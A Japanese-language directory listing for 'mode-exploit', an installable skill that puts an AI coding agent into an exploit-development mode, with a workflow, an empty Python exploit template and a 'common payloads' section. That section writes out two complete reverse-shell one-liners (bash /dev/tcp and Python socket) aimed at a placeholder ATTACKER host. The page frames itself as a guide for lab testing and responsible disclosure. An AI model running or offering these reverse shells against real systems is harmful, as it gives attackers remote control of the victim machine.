mcpField
M
mode-exploit

mode-exploit

github.com/duck4nhセキュリティ1542 回インストール37 週間前に更新
リポジトリ

mode-exploit について

mode-exploit は、管理された環境でエクスプロイトを調査・検証するセキュリティ担当者向けの作業ガイドです。脆弱性分析からコード作成、テスト、文書化までを扱い、責任ある開示を重視します。

主な機能

  1. 01段階別の開発ワークフロー
  2. 02Python エクスプロイトのひな型
  3. 03一般的なペイロード例
  4. 04ラボ環境でのテスト重視
  5. 05影響とクリーンアップの記録

活用シーン

  1. 01脆弱性の原因と関連事例の分析
  2. 02概念実証コードの作成
  3. 03管理された環境での検証
  4. 04利用手順と後片付けの文書化

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/duck4nh/antigravity-kit --skill mode-exploit

インストール後、Claude Code で/mode-exploitを入力して読み込まれたか確認します。

詳細

エクスプロイト開発モード

ワークフロー

  1. 分析 → 脆弱性と根本原因を理解します
  2. 調査 → 類似のエクスプロイト、CVE、手法を探します
  3. 開発 → エクスプロイトコードを記述します
  4. テスト → 管理された環境で検証します
  5. 文書化 → PoC、使用手順、影響をまとめます

エクスプロイトのテンプレート(Python)

#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""

import argparse
import requests

def exploit(target: str, cmd: str = "id") -> str:
    """Main exploit logic"""
    # Exploit code here
    pass

def main():
    parser = argparse.ArgumentParser(description="Exploit description")
    parser.add_argument("target", help="Target URL/IP")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
    args = parser.parse_args()
    
    result = exploit(args.target, args.cmd)
    print(result)

if __name__ == "__main__":
    main()

一般的なペイロード

# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

原則

  • まずラボ環境でテストします
  • すべての手順を明確に文書化します
  • クリーンアップ/復元手順を含めます
  • 責任ある情報開示に従います

コメント